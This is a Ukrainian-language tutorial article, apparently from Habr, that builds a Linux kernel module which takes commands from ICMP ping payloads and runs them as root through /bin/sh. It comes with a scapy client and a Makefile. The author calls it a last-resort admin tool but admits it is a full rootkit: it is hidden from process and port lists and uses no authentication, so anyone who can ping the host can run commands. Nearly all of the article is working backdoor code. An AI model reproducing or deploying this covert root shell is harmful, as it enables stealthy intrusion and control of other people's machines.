Ядерний шелл поверх ICMP

Ядерний шелл поверх ICMP

TL, д-р: пишу модуль ядра, який читатиме команди з пейлоаду ICMP і виконувати їх на сервері навіть у тому випадку, якщо у вас впав SSH. Для найбільш нетерплячих весь код на GitHub.

Обережно! Досвідчені програмісти на C ризикують розплакатися кривавими сльозами! Я можу помилятися навіть у термінології, але будь-яка критика схвалюється. Пост розрахований на тих, хто має приблизне уявлення про програмування на C і хоче заглянути у нутрощі Linux.

У коментарях до моєї першої статті згадали SoftEther VPN, який вміє мімікрувати під деякі «звичайні» протоколи, зокрема HTTPS, ICMP і навіть DNS. Я уявляю роботу тільки першого з них, тому що добре знайомий з HTTP(S), а тунелювання поверх ICMP і DNS довелося вивчати.

Ядерний шелл поверх ICMP

Так, я в 2020 році дізнався, що до ICMP-пакетів можна вставити довільний пейлоад. Але краще запізно, ніж ніколи! І якщо вже з цим можна щось зробити, значить треба робити. Так як у своїй повсякденності найчастіше я користуюся командним рядком, у тому числі через SSH, ідея ICMP-шелла спала мені на думку насамперед. А щоб зібрати повне буллщит-бінго, вирішив писати у вигляді модуля Linux мовою, про яку я маю лише приблизне уявлення. Такий шелл не буде видно в списку процесів, можна завантажити його в ядро ​​і він не лежатиме на файловій системі, ви не побачите нічого підозрілого в списку портів, що прослуховуються. За своїми можливостями це повноцінний руткіт, але я сподіваюся допрацювати і використовувати його як шелл останньої надії, коли Load Average занадто високий для того, щоб зайти по SSH і виконати хоча б echo i > /proc/sysrq-trigger, щоб відновити доступ без перезавантаження.

Беремо текстовий редактор, базові скіли програмування на Python та C, гугл та віртуалку яку не шкода пустити під ніж якщо все поламається (опціонально – локальний VirtualBox/KVM/etc) та погнали!

Клієнтська частина

Мені здавалося, що для клієнтської частини доведеться писати скрипт рядків на 80, але знайшлися добрі люди, які зробили за мене всю роботу. Код виявився несподівано простим, вміщується у 10 значних рядків:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Скрипт приймає два аргументи, адресою та пейлоад. Перед відправкою пейлоад передує ключу run:, він нам знадобиться щоб виключити пакети з довільним пейлоадом.

Ядро вимагає привілеїв для того, щоб крафтити пакети, тому скрипт доведеться запускати з правами суперкористувача. Не забудьте дати права на виконання та встановити сам scapy. У Debian є пакет, називається python3-scapy. Тепер можна перевіряти, як усе це працює.

Запуск та виведення команди
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Так це виглядає у сніффері
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

Пейлоад у пакеті з відповіддю не змінюється.

Модуль ядра

Для збирання у віртуалці з Debian знадобляться як мінімум make и linux-headers-amd64решта підтягнеться у вигляді залежностей. У статті код повністю наводити не буду, ви його можете схилювати на гітхабі.

Налаштування хука

Спочатку нам знадобляться дві функції для того, щоб завантажити модуль і щоб його вивантажити. Функція для вивантаження не є обов'язковою, але тоді і rmmod виконати не вийде, модуль вивантажиться лише при вимкненні.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Що тут відбувається:

  1. Підтягуються два заголовні файли для маніпуляцій власне з модулем і з нетфільтром.
  2. Усі операції проходять через нетфільтр, у ньому можна ставити хуки. Для цього потрібно заявити структуру, в якій хук налаштовуватиметься. Найважливіше — вказати функцію, яка виконуватиметься як хук: nfho.hook = icmp_cmd_executor; до самої функції я ще дістануся.
    Потім я поставив момент обробки пакета: NF_INET_PRE_ROUTING вказує на обробку пакета, коли він тільки з'явився в ядрі. Можна використовувати NF_INET_POST_ROUTING для обробки пакета на виході із ядра.
    Вішаю фільтр на IPv4: nfho.pf = PF_INET;.
    Призначаю своєму хуку найвищий пріоритет: nfho.priority = NF_IP_PRI_FIRST;
    І реєструю структуру даних як власне хук: nf_register_net_hook(&init_net, &nfho);
  3. У завершальній функції хук видаляється.
  4. Ліцензія позначена явно, щоб компілятор не лаявся.
  5. Функції module_init() и module_exit() задають інші функції як ініціалізуючу та завершальну роботу модуля.

Вилучення пейлоаду

Тепер потрібно витягти пейлоад, це виявилося найскладнішим завданням. У ядрі немає вбудованих функцій для роботи з пейлоадом, можна лише ширяти заголовки більш високорівневих протоколів.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Що відбувається:

  1. Довелося підключити додаткові заголовні файли, цього разу для маніпуляції з IP- та ICMP-хедерами.
  2. Задаю максимальну довжину рядка: #define MAX_CMD_LEN 1976. Чому саме таку? Тому що на велику компілятор лається! Мені вже підказали, що треба розбиратися зі стеком і купою, коли я обов'язково це зроблю і може навіть поправлю код. Відразу задаю рядок, в якому лежатиме команда: char cmd_string[MAX_CMD_LEN];. Вона повинна бути видима у всіх функціях, про це докладніше розповім у пункті 9.
  3. Тепер треба ініціалізувати (struct work_struct my_work;) структуру та пов'язати її з ще однією функцією (DECLARE_WORK(my_work, work_handler);). Про те, навіщо це потрібно, я також розповім у дев'ятому пункті.
  4. Тепер оголошую функцію, яка буде хуком. Тип і аргументи, що приймаються, диктуються нетфільтром, нас цікавить тільки skb. Це буфер сокету, фундаментальна структура даних, яка містить усі доступні відомості про пакет.
  5. Для роботи функції знадобиться дві структури, і кілька змінних, у тому числі два ітератори.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Можна розпочати логіку. Для роботи модуля не потрібні ніякі пакети, крім ICMP Echo, тому паримо буфер вбудованими функціями і викидаємо все не ICMP-і не Echo-пакети. Повернення NF_ACCEPT означає прийняття пакета, але можете й дропнути пакети, повернувши NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Я не перевіряв, що відбудеться без перевірки заголовків IP. Моє мінімальне знання C підказує: без додаткових перевірок обов'язково станеться щось страшне. Я буду радий, якщо ви мене в цьому переконаєте!

  7. Тепер, коли пакет точно потрібного типу, можна отримувати дані. Без вбудованої функції доводиться спочатку отримувати покажчик початку пейлода. Робиться це через одне місце, потрібно взяти покажчик на початок заголовка ICMP і пересунути його розмір цього заголовка. Для всього використовується структура icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Кінець заголовка повинен збігатися з кінцем корисного навантаження skbтому отримуємо його ядерними засобами з відповідної структури: tail = skb_tail_pointer(skb);.

    Ядерний шелл поверх ICMP

    Картинку поцупив звідси, можете прочитати детальніше про буфер сокету.

  8. Отримавши покажчики на початок і на кінець, можна скопіювати дані в рядок cmd_string, перевірити її на наявність префікса run: або викинути пакет у разі його відсутності, або знову перезаписати рядок, видаливши цей префікс.
  9. Ну все, тепер можна викликати ще один хендлер: schedule_work(&my_work);. Так як у такий виклик передати параметр не вийде, рядок з командою має бути глобальним. schedule_work() помістить функцію асоційовану з переданою структурою в загальну чергу планувальника завдань і завершиться, дозволивши не чекати на завершення команди. Це потрібно тому, що хук має бути дуже швидким. Інакше у вас на вибір нічого не запуститься або ви отримаєте kernel panic. Зволікання смерті подібне!
  10. Все, можна приймати пакет відповідним поверненням.

Виклик програми в юзерспейсі

Ця функція найзрозуміліша. Назва її було задано в DECLARE_WORK(), тип та прийняті аргументи не цікаві. Беремо рядок з командою та передаємо її повністю шеллу. Нехай він сам розбирається з парсингом, пошуком бінарів та з усім іншим.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Задаємо аргументи в масив рядків argv[]. Припустимо, що всі знають, що програми насправді виконуються саме так, а не суцільним рядком із пробілами.
  2. Задаємо змінні оточення. Я вставив тільки PATH з мінімальним набором шляхів, розраховуючи що всі вже об'єднані /bin с /usr/bin и /sbin с /usr/sbin. Інші шляхи досить рідко мають значення практично.
  3. Готово, виконуємо! Функція ядра call_usermodehelper() приймає на вхід. шлях до бінара, масив аргументів, масив змінних оточення. Тут я теж припускаю, що всі розуміють сенс передачі шляху до файлу, що виконується окремим аргументом, але можете запитати. Останній аргумент вказує, чи чекати завершення процесу (UMH_WAIT_PROC), запуску процесу (UMH_WAIT_EXEC) або не чекати взагалі (UMH_NO_WAIT). Є ще UMH_KILLABLEя не став розбиратися в цьому.

збірка

Складання ядерних модулів виконується через ядерний make-фреймворк. Викликається make усередині спеціальної директорії прив'язаної до версії ядра (визначається тут: KERNELDIR:=/lib/modules/$(shell uname -r)/build), а місцезнаходження модуля передається змінною M у аргументах. У таргетах icmpshell.ko та clean цілком використовується цей фреймворк. У obj-m вказується об'єктний файл, який буде перероблено в модуль. Синтаксис, який переробляє main.o в icmpshell.o (icmpshell-objs = main.o) для мене виглядає не дуже логічним, але нехай так і буде.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Збираємо: make. Завантажуємо: insmod icmpshell.ko. Готово, можна перевіряти: sudo ./send.py 45.11.26.232 "date > /tmp/test". Якщо у вас на машині з'явився файл /tmp/test і в ньому лежить дата відправки запиту, отже, ви зробили все правильно і я зробив все правильно.

Висновок

Мій перший досвід ядерної розробки виявився набагато простішим, ніж я очікував. Навіть не маючи досвіду розробки на C, орієнтуючись на підказки компілятора та видачу гугла, я зміг написати робочий модуль і відчути себе кернел хакером, а заразом і скрипт-кідді. Окрім цього, я зайшов на канал Kernel Newbies, де мені підказали використовувати schedule_work() замість виклику call_usermodehelper() усередині самого хука і присоромили, справедливо запідозривши скамі. Сотня рядків коду мені коштувала десь тижні розробки у вільний час. Вдалий досвід, що зруйнував мій особистий міф про непосильну складність системної розробки.

Якщо хтось погодиться виконати код-рев'ю на гітхабі, я буду вдячний. Я майже впевнений, що припустився багато дурних помилок, особливо в роботі з рядками.

Ядерний шелл поверх ICMP

Джерело: habr.com

Додати коментар або відгук